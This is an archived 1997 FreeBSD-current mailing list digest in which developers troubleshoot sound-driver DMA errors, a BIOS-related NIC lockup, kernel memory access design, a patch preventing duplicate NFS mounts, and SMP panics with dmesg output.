owner-freebsd-current Sat Nov 22 08:26:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA12982 for current-outgoing; Sat, 22 Nov 1997 08:26:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from helium.vapornet.com (root@helium.vapornet.com [208.202.126.112]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA12977 for ; Sat, 22 Nov 1997 08:26:38 -0800 (PST) (envelope-from john@helium.vapornet.com) Received: from argon.vapornet.com (vapornet.xnet.com [205.243.141.107]) by helium.vapornet.com (8.8.8/VaporServer-v3.0+SpamNot) with ESMTP id KAA02205; Sat, 22 Nov 1997 10:26:41 -0600 (CST) Received: by argon.vapornet.com (8.8.8/VaporClient-1.1) id KAA04120; Sat, 22 Nov 1997 10:26:26 -0600 (CST) Date: Sat, 22 Nov 1997 10:26:26 -0600 (CST) Message-Id: <199711221626.KAA04120@argon.vapornet.com> From: John Preisler MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Kristian Kennaway Cc: freebsd-current@FreeBSD.ORG (FreeBSD Current) Subject: RealPlayer 5.0 In-Reply-To: <9711221552.AA11311@bragg> References: <9711221552.AA11311@bragg> X-Mailer: VM 6.22 under 19.15 XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The problem exists in the freebsd native raplayer, and amp, and a bunch of other sound utils. catting something to /dev/audio works though. I get symptoms like kernel messages that say isa_dma_acquire: channel 5 already in use and the probe no longer finds my sound card completely either. for sbxvi0 i get a ? sb0 at 0x220 irq 5 drq 1 on isa snd0: sbxvi0 at ? drq 5 on isa snd0: sbmidi0 at 0x330 on isa snd0: opl0 at 0x388 on isa snd0: generic sb16 clone that worked up until october or so. -j Kristian Kennaway writes: > I'm having problems with the linux realplayer beta under current: following > the directions in the README.FIRST, I've set my LD_LIBRARY_PATH, and I > can load the sample .rm file, but I dont get more than a fragment of > video (or sound, now that the new sound drivers are in). Looks to be > about two frames, then it stops. By dragging the slider I can get a > DIFFERENT two frames, but I cant seem to play a full sequence :-) Trying to > stop/restart the animation produces the same result. > > Has anyone been having a similar problem? > > Kris > From owner-freebsd-current Sat Nov 22 08:31:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA13172 for current-outgoing; Sat, 22 Nov 1997 08:31:38 -0800 (PST) (envelope-from owner-freebsd-current) Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA13161 for ; Sat, 22 Nov 1997 08:31:33 -0800 (PST) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg by adelphi.physics.adelaide.edu.au (5.65/AndrewR-930902) id AA23788; Sun, 23 Nov 1997 03:01:31 +1030 From: Kristian Kennaway Received: by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA14658; Sun, 23 Nov 1997 03:01:40 +1030 Message-Id: <9711221631.AA14658@bragg> Subject: Re: RealPlayer 5.0 To: john@helium.vapornet.com (John Preisler) Date: Sun, 23 Nov 1997 03:01:39 +1030 (CST) Cc: kkennawa@physics.adelaide.edu.au, freebsd-current@FreeBSD.ORG In-Reply-To: <199711221626.KAA04120@argon.vapornet.com> from "John Preisler" at Nov 22, 97 10:26:26 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The problem exists in the freebsd native raplayer, and amp, and a > bunch of other sound utils. catting something to /dev/audio works > though. I get symptoms like kernel messages that say No, I dont think this is it. Perhaps I wasnt clear in describing my problem, but I'm not getting any -animation-..the sound stuff is secondary, and I've got reason to believe that at least partly works (or would, if the animation was playing correctly). This is a linux ELF binary I'm running under emulation (rvplayer isnt available under freebsd native yet). Kris > > isa_dma_acquire: channel 5 already in use > > > and the probe no longer finds my sound card completely either. for sbxvi0 > i get a ? > > > sb0 at 0x220 irq 5 drq 1 on isa > snd0: > sbxvi0 at ? drq 5 on isa > snd0: > sbmidi0 at 0x330 on isa > snd0: > opl0 at 0x388 on isa > snd0: > > > generic sb16 clone that worked up until october or so. > > -j From owner-freebsd-current Sat Nov 22 09:48:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16722 for current-outgoing; Sat, 22 Nov 1997 09:48:13 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16710 for ; Sat, 22 Nov 1997 09:48:07 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id JAA01128; Sat, 22 Nov 1997 09:48:26 -0800 (PST) To: John Preisler cc: Kristian Kennaway , freebsd-current@FreeBSD.ORG (FreeBSD Current) Subject: Re: RealPlayer 5.0 In-reply-to: Your message of "Sat, 22 Nov 1997 10:26:26 CST." <199711221626.KAA04120@argon.vapornet.com> Date: Sat, 22 Nov 1997 09:48:26 -0800 Message-ID: <1125.880220906@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The problem exists in the freebsd native raplayer, and amp, and a Uh, no it doesn't. > bunch of other sound utils. catting something to /dev/audio works > though. I get symptoms like kernel messages that say > > isa_dma_acquire: channel 5 already in use This is a misconfigured or incompatible sound card. Jordan From owner-freebsd-current Sat Nov 22 09:49:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16787 for current-outgoing; Sat, 22 Nov 1997 09:49:06 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16778 for ; Sat, 22 Nov 1997 09:49:01 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id JAA01142; Sat, 22 Nov 1997 09:49:21 -0800 (PST) To: Kristian Kennaway cc: john@helium.vapornet.com (John Preisler), freebsd-current@FreeBSD.ORG Subject: Re: RealPlayer 5.0 In-reply-to: Your message of "Sun, 23 Nov 1997 03:01:39 +1030." <9711221631.AA14658@bragg> Date: Sat, 22 Nov 1997 09:49:21 -0800 Message-ID: <1139.880220961@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > No, I dont think this is it. Perhaps I wasnt clear in describing my > problem, but I'm not getting any -animation-..the sound stuff is > secondary, and I've got reason to believe that at least partly works (or This problem is known. There are some patches on rah.star-gate.org, I believe, which implement the missing Linux ioctl() which is necessary for this to work. You might have a look around (Amancio? Maybe it's time to make a repository of this stuff on wcarchive). Jordan From owner-freebsd-current Sat Nov 22 10:05:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA17466 for current-outgoing; Sat, 22 Nov 1997 10:05:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from europa.humberc.on.ca (melange@europa.humberc.on.ca [142.214.112.124]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA17461 for ; Sat, 22 Nov 1997 10:05:53 -0800 (PST) (envelope-from melange@europa.humberc.on.ca) Received: from localhost (melange@localhost) by europa.humberc.on.ca (8.8.5/8.8.5) with SMTP id NAA16176; Sat, 22 Nov 1997 13:08:19 -0500 (EST) Date: Sat, 22 Nov 1997 13:08:17 -0500 (EST) From: Bob K To: John Preisler cc: Kristian Kennaway , FreeBSD Current Subject: Re: RealPlayer 5.0 In-Reply-To: <199711221626.KAA04120@argon.vapornet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 22 Nov 1997, John Preisler wrote: > The problem exists in the freebsd native raplayer, and amp, and a > bunch of other sound utils. catting something to /dev/audio works > though. I get symptoms like kernel messages that say > > isa_dma_acquire: channel 5 already in use I had the same problem with a Nov. 16 SNAP and amp, but using the -nobuffer switch in amp got it working again. I haven't tried raplayer, though. > and the probe no longer finds my sound card completely either. for sbxvi0 > i get a ? > > > sb0 at 0x220 irq 5 drq 1 on isa > snd0: > sbxvi0 at ? drq 5 on isa > snd0: > sbmidi0 at 0x330 on isa > snd0: > opl0 at 0x388 on isa > snd0: > > generic sb16 clone that worked up until october or so. For a genuine, ancient sb16 pnp: Nov 22 12:48:03 apathy /kernel: sb0 at 0x220 irq 5 drq 1 on isa Nov 22 12:48:03 apathy /kernel: SoundBlaster 16 4.13> at 0x220 irq 5 dma 1 Nov 22 12:48:03 apathy /kernel: sbxvi0 at ? drq 5 on isa Nov 22 12:48:03 apathy /kernel: SoundBlaster 16 4.13> dma 5 Nov 22 12:48:04 apathy /kernel: sbmidi0 at 0x330 on isa Nov 22 12:48:04 apathy /kernel: SoundBlaster MPU-401> at 0x330 Nov 22 12:48:04 apathy /kernel: opl0 at 0x388 on isa Nov 22 12:48:04 apathy /kernel: Yamaha OPL3 FM> at 0x388 This is from a Nov. 16 SNAP gotten a day after the fact (haven't had time to get the latest sources...). From owner-freebsd-current Sat Nov 22 10:19:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA17916 for current-outgoing; Sat, 22 Nov 1997 10:19:06 -0800 (PST) (envelope-from owner-freebsd-current) Received: from europa.humberc.on.ca (melange@europa.humberc.on.ca [142.214.112.124]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA17908 for ; Sat, 22 Nov 1997 10:18:59 -0800 (PST) (envelope-from melange@europa.humberc.on.ca) Received: from localhost (melange@localhost) by europa.humberc.on.ca (8.8.5/8.8.5) with SMTP id NAA16239; Sat, 22 Nov 1997 13:21:42 -0500 (EST) Date: Sat, 22 Nov 1997 13:21:41 -0500 (EST) From: Bob K To: "Jordan K. Hubbard" cc: John Preisler , Kristian Kennaway , FreeBSD Current Subject: Re: RealPlayer 5.0 In-Reply-To: <1125.880220906@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 22 Nov 1997, Jordan K. Hubbard wrote: > > The problem exists in the freebsd native raplayer, and amp, and a > > Uh, no it doesn't. > > > bunch of other sound utils. catting something to /dev/audio works > > though. I get symptoms like kernel messages that say > > > > isa_dma_acquire: channel 5 already in use > > This is a misconfigured or incompatible sound card. Well, I've just reproduced the error with my sound card and amp (which works fine with -nobuffer; .wav's play and record fine as well with mxv). It plays roughly 1/2 second when it just stops and the isa_dma_acquire message pops up. This definitely wasn't happening with the Nov. 5 snap. I'll try the latest sources and post the results (which won't be in until at least tomorrow ;), but I'm positive that my soundblaster 16 uses irq 5, low DMA 1, high DMA 5, and lives at address 0x220. From owner-freebsd-current Sat Nov 22 11:24:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA20447 for current-outgoing; Sat, 22 Nov 1997 11:24:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA20440 for ; Sat, 22 Nov 1997 11:24:16 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id LAA01162; Sat, 22 Nov 1997 11:23:47 -0800 (PST) Message-Id: <199711221923.LAA01162@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: "Jordan K. Hubbard" cc: Kristian Kennaway , john@helium.vapornet.com (John Preisler), freebsd-current@FreeBSD.ORG Subject: Re: RealPlayer 5.0 In-reply-to: Your message of "Sat, 22 Nov 1997 09:49:21 PST." <1139.880220961@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 22 Nov 1997 11:23:46 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The fix will be checked in today the problem is the sound driver with people that have sb cards. My private test verision of the sound driver seems to work. Amancio > > No, I dont think this is it. Perhaps I wasnt clear in describing my > > problem, but I'm not getting any -animation-..the sound stuff is > > secondary, and I've got reason to believe that at least partly works (or > > This problem is known. There are some patches on rah.star-gate.org, I > believe, which implement the missing Linux ioctl() which is necessary > for this to work. You might have a look around (Amancio? Maybe it's > time to make a repository of this stuff on wcarchive). > > Jordan From owner-freebsd-current Sat Nov 22 12:12:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23149 for current-outgoing; Sat, 22 Nov 1997 12:12:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA23125 for ; Sat, 22 Nov 1997 12:12:09 -0800 (PST) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id MAA08065; Sat, 22 Nov 1997 12:13:07 -0800 (PST) Message-Id: <199711222013.MAA08065@implode.root.com> To: "John W. DeBoskey" cc: freebsd-current@freebsd.org Subject: Re: fxp0 causes machine lockup In-reply-to: Your message of "Thu, 20 Nov 1997 23:07:08 EST." <199711210407.AA10760@iluvatar.unx.sas.com> From: David Greenman Reply-To: dg@root.com Date: Sat, 22 Nov 1997 12:13:07 -0800 Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > With respect to the following problem, the solution came from >an unexpected location. > > I asked our hardware support folks for a 2nd motherboard to see >if the problem was specific to the hardware. Before getting the >new MB, they suggested I upgrade the bios on my machine... I said >sure, thinking FreeBSD doesn't use the bios, what could happen? > > Dell OptiPlex PPro 200 with bios rev A00(Phoenix) flashed to A08. > > The problem went away. > > Could someone give me a short explanation of how the bios update >could fix my apparent dma problem? Does the bios assign dma channels >or something associated? The BIOS programs the motherboard chipset; it configures among other things the various settings that control PCI DMA behavior. If the MB chipset is misconfigured, then bad things can happen. > Anyways, I have now tested rev 0, 2, & 4 fxp NICs with complete >success. Thanks for the note. BTW, does you machine have the 82557+82555 combination or does it have an 82558 chip? -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-current Sat Nov 22 12:17:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23547 for current-outgoing; Sat, 22 Nov 1997 12:17:08 -0800 (PST) (envelope-from owner-freebsd-current) Received: from d198-232.uoregon.edu (d198-232.uoregon.edu [128.223.198.232]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA23542 for ; Sat, 22 Nov 1997 12:17:05 -0800 (PST) (envelope-from mini@d198-232.uoregon.edu) Received: (from mini@localhost) by d198-232.uoregon.edu (8.8.5/8.8.5) id MAA07448; Sat, 22 Nov 1997 12:16:51 -0800 (PST) Message-ID: <19971122121650.07602@micron.mini.net> Date: Sat, 22 Nov 1997 12:16:50 -0800 From: Jonathan Mini To: Jim Shankland Cc: j_mini@efn.org, current@freebsd.org Subject: Re: Stripping the kernel Reply-To: Jonathan Mini References: <199711220025.QAA05276@biggusdiskus.flyingfox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: <199711220025.QAA05276@biggusdiskus.flyingfox.com>; from Jim Shankland on Fri, Nov 21, 1997 at 04:25:55PM -0800 X-files: The Truth is Out There Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jim Shankland stands accused of saying: > Jonathan Mini writes: > > > Evan, you are absolutely right. It is Bad and Evil to read things out > > of the kernel memory. I have hated it from the start. However, look at > > the uses of the kernel tompling, and come up with an effective > > efficient way to do the same things, and I will even write it for > > you. :) > > Tompling? Ooops typo : trompling. (tromp tromp tromp... picture rainboots and puddles) > There are plenty of alternatives, all in use today: > > ioctl (think SIOCGIFCONF); > sysctl > /proc file system > special sockets (think PF_ROUTE); > good old poking through the kernel nlist. > > Take your pick. Or invent yet more. Question to think about: > how many of the above can be used on kernel dump files? I have a borune script that does some of ps's features via procfs, and it is _really_ slow. :( Also, it misses much of the features I needed, so I never did use it. The problem is processes that open /kernel in order to find symbol locations, then open /dev/kmem to read the contents of those symbols. This breaks if there is no kernel image available anywhere once the system boots. (as happens with MFS root systems) > > Jim Shankland > Flying Fox Computer Systems, Inc. -- Jonathan Mini Ingenious Productions Software Development P.O. Box 5693, Eugene, Or. 97405 "A child of five could understand this! Quick -- Fetch me a child of five." From owner-freebsd-current Sat Nov 22 12:21:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23807 for current-outgoing; Sat, 22 Nov 1997 12:21:33 -0800 (PST) (envelope-from owner-freebsd-current) Received: from d198-232.uoregon.edu (d198-232.uoregon.edu [128.223.198.232]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA23802 for ; Sat, 22 Nov 1997 12:21:29 -0800 (PST) (envelope-from mini@d198-232.uoregon.edu) Received: (from mini@localhost) by d198-232.uoregon.edu (8.8.5/8.8.5) id MAA07463; Sat, 22 Nov 1997 12:17:34 -0800 (PST) Message-ID: <19971122121733.11532@micron.mini.net> Date: Sat, 22 Nov 1997 12:17:33 -0800 From: Jonathan Mini To: Bruce Evans Cc: evanc@synapse.net, j_mini@efn.org, freebsd-current@freebsd.org, mike@smith.net.au, phk@critter.freebsd.dk Subject: Re: Stripping the kernel Reply-To: Jonathan Mini References: <199711220250.NAA04800@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: <199711220250.NAA04800@godzilla.zeta.org.au>; from Bruce Evans on Sat, Nov 22, 1997 at 01:50:28PM +1100 X-files: The Truth is Out There Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Bruce Evans stands accused of saying: > >Evan, you are absolutely right. It is Bad and Evil to read things out of the > >kernel memory. I have hated it from the start. However, look at the uses of > >the kernel tompling, and come up with an effective efficient way to do the same > >things, and I will even write it for you. :) > > Don't forget that it has to work on a long-running kernel running > at securelevel 2 (where group kmem can read kmem but even root can't > add LKMs). Missing interfaces may develop over the years :-). I need this now, not 'years'. :) > > Bruce -- Jonathan Mini Ingenious Productions Software Development P.O. Box 5693, Eugene, Or. 97405 "A child of five could understand this! Quick -- Fetch me a child of five." From owner-freebsd-current Sat Nov 22 14:53:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA01683 for current-outgoing; Sat, 22 Nov 1997 14:53:40 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dragon.awen.com (dragon.awen.com [207.33.155.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA01665 for ; Sat, 22 Nov 1997 14:53:35 -0800 (PST) (envelope-from mburgett@dragon.awen.com) Received: (from mburgett@localhost) by dragon.awen.com (8.8.8/8.8.7) id OAA00371; Sat, 22 Nov 1997 14:53:35 -0800 (PST) Message-Id: <199711222253.OAA00371@dragon.awen.com> From: "Mike Burgett" To: "current@freebsd.org" Date: Sat, 22 Nov 97 14:53:34 -0800 Reply-To: "Mike Burgett" Priority: Normal X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: nfs mounting the same partition over and over... Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The below patch is intended to prevent being able to remount nfs partitions over and over (and having to umount them over and over to really get rid of them...) It was against the the tree at ftp.freebsd.org:/pub/FreeBSD/FreeBSD-current/src/sys/nfs/nfs_vfsops.c If anyone is feeling adventurous, I'd like to get feedback about any unintended side effects. I run a simple system here, with no union mounts, diskless clients or any other stuff that this could break. :) I've tested on 2.2-stable, but don't have a machine running -current to test on. Thanks, Mike --- cut here --- *** /usr/src/sys/nfs/nfs_vfsops.c Wed Nov 12 03:14:53 1997 --- ./nfs_vfsops.c Sat Nov 22 14:33:16 1997 *************** *** 603,608 **** --- 603,609 ---- char pth[MNAMELEN], hst[MNAMELEN]; u_int len; u_char nfh[NFSX_V3FHMAX]; + int ncount; if (path == NULL) { nfs_mountroot(mp); *************** *** 638,643 **** --- 639,650 ---- if (error) return (error); bzero(&hst[len], MNAMELEN - len); + /* checks stolen from ffs_vfsops.c to prevent duplicate mounts */ + ncount = vcount(ndp->ni_vp); + if (ndp->ni_vp->v_object != NULL) + ncount -= 1; + if (ncount > 1 && ndp->ni_vp != rootvp) + return (EBUSY); /* sockargs() call must be after above copyin() calls */ error = getsockaddr(&nam, (caddr_t)args.addr, args.addrlen); if (error) --- cut here --- From owner-freebsd-current Sat Nov 22 18:42:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA12256 for current-outgoing; Sat, 22 Nov 1997 18:42:30 -0800 (PST) (envelope-from owner-freebsd-current) Received: from shell.dragondata.com (toasty@shell.dragondata.com [204.137.237.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA12251 for ; Sat, 22 Nov 1997 18:42:26 -0800 (PST) (envelope-from toasty@shell.dragondata.com) Received: (from toasty@localhost) by shell.dragondata.com (8.8.7/8.8.7) id UAA00354 for freebsd-current@freebsd.org; Sat, 22 Nov 1997 20:42:26 -0600 (CST) (envelope-from toasty) From: User Toasty Message-Id: <199711230242.UAA00354@shell.dragondata.com> Subject: Repeated system crashes with 110897 snap. To: freebsd-current@freebsd.org Date: Sat, 22 Nov 1997 20:42:26 -0600 (CST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I realize that 3.0 is beta, I'm not asking for help, I'm just reporting some very frequent crashes that make it nearly unusable. :) This has happened 6 times in the past 3-4 days. panic: vm_fault on nofault entry :f432f000 mp_lock=2, cpuid=0, lapic,id=0 Then it tried rebooting, but crashes while syching disks before the reboot. I don't know what you guys would need to know about the hardware, but: Tyan Tomcat IV with two P/200's 128MB of ram 3Com 509 network card IDE hard drive Running the kernel and binaries from 11-08-07's snap. The machine currently is running some irc bots, and an nfs client.... If anyone has any suggestions, or anything they want me to try, please let me know. :) Kevin From owner-freebsd-current Sat Nov 22 22:04:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA21365 for current-outgoing; Sat, 22 Nov 1997 22:04:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from d198-232.uoregon.edu (d198-232.uoregon.edu [128.223.198.232]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA21360 for ; Sat, 22 Nov 1997 22:04:10 -0800 (PST) (envelope-from mini@d198-232.uoregon.edu) Received: (from mini@localhost) by d198-232.uoregon.edu (8.8.5/8.8.5) id WAA00592; Sat, 22 Nov 1997 22:03:49 -0800 (PST) Message-ID: <19971122220349.53823@micron.mini.net> Date: Sat, 22 Nov 1997 22:03:49 -0800 From: Jonathan Mini To: User Toasty Cc: freebsd-current@FreeBSD.ORG Subject: Re: Repeated system crashes with 110897 snap. Reply-To: Jonathan Mini References: <199711230242.UAA00354@shell.dragondata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: <199711230242.UAA00354@shell.dragondata.com>; from User Toasty on Sat, Nov 22, 1997 at 08:42:26PM -0600 X-files: The Truth is Out There Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk User Toasty stands accused of saying: > I don't know what you guys would need to know about the hardware, but: > > Tyan Tomcat IV with two P/200's > 128MB of ram > 3Com 509 network card > IDE hard drive Other issues aside, the best way to give a hardware profile is to include a copy of the COMPLETE dmesg output. This gives the kernel's messages (including boot and errors) which are more much more informative that the info you gave. :) (Note I said _complete_. An edited dmesg is often next to useless, since the user mistakenly identifies vital information as irrelivent and edits it out) -- Jonathan Mini Ingenious Productions Software Development P.O. Box 5693, Eugene, Or. 97405 "A child of five could understand this! Quick -- Fetch me a child of five." From owner-freebsd-current Sat Nov 22 22:07:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA21492 for current-outgoing; Sat, 22 Nov 1997 22:07:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from shell.dragondata.com (toasty@shell.dragondata.com [204.137.237.8]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA21487 for ; Sat, 22 Nov 1997 22:07:41 -0800 (PST) (envelope-from toasty@shell.dragondata.com) Received: (from toasty@localhost) by shell.dragondata.com (8.8.7/8.8.7) id AAA01152; Sun, 23 Nov 1997 00:07:46 -0600 (CST) (envelope-from toasty) From: User Toasty Message-Id: <199711230607.AAA01152@shell.dragondata.com> Subject: Re: Repeated system crashes with 110897 snap. In-Reply-To: <19971122220349.53823@micron.mini.net> from Jonathan Mini at "Nov 22, 97 10:03:49 pm" To: j_mini@efn.org Date: Sun, 23 Nov 1997 00:07:46 -0600 (CST) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Other issues aside, the best way to give a hardware profile is to include > a copy of the COMPLETE dmesg output. This gives the kernel's messages > (including boot and errors) which are more much more informative that the info > you gave. :) > (Note I said _complete_. An edited dmesg is often next to useless, since the > user mistakenly identifies vital information as irrelivent and edits it out) Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.0-971108-SNAP #0: Tue Nov 11 17:12:16 CST 1997 root@shell.dragondata.com:/usr/src/sys/compile/SHELL CPU: Pentium (586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x3bf real memory = 92274688 (90112K bytes) avail memory = 86564864 (84536K bytes) FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00030010, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00030010, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Probing for devices on PCI bus 0: chip0: rev 0x03 on pci0.0.0 chip1: rev 0x01 on pci0.7.0 ide_pci0: rev 0x00 on pci0.7.1 Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface lpt1 not found mse0 not found at 0x23c fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 2014MB (4124736 sectors), 4092 cyls, 16 heads, 63 S/T, 512 B/S wdc1 not found at 0x170 1 3C5x9 board(s) on ISA found at 0x300 ep0 at 0x300-0x30f irq 10 on isa ep0: utp[*UTP*] address 00:60:97:6b:88:f4 npx0 on motherboard npx0: INT 16 interface APIC_IO: routing 8254 via 8259 on pin 0 SMP: AP CPU #1 Launched! WARNING: / was not properly dismounted. nfs send error 55 for server home:/home The only thing that looks sorta weird is the nfs error, which I get a lot. :) Anything else I can do to help, I'd be glad to do. Kevin From owner-freebsd-current Sat Nov 22 22:45:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA23044 for current-outgoing; Sat, 22 Nov 1997 22:45:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA23039 for ; Sat, 22 Nov 1997 22:45:36 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.8) id BAA00815; Sun, 23 Nov 1997 01:45:31 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199711230645.BAA00815@dyson.iquest.net> Subject: Re: Repeated system crashes with 110897 snap. In-Reply-To: <199711230242.UAA00354@shell.dragondata.com> from User Toasty at "Nov 22, 97 08:42:26 pm" To: toasty@shell.dragondata.com (User Toasty) Date: Sun, 23 Nov 1997 01:45:31 -0500 (EST) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk User Toasty said: > > I realize that 3.0 is beta, I'm not asking for help, I'm just reporting some > very frequent crashes that make it nearly unusable. :) > > This has happened 6 times in the past 3-4 days. > > panic: vm_fault on nofault entry :f432f000 > 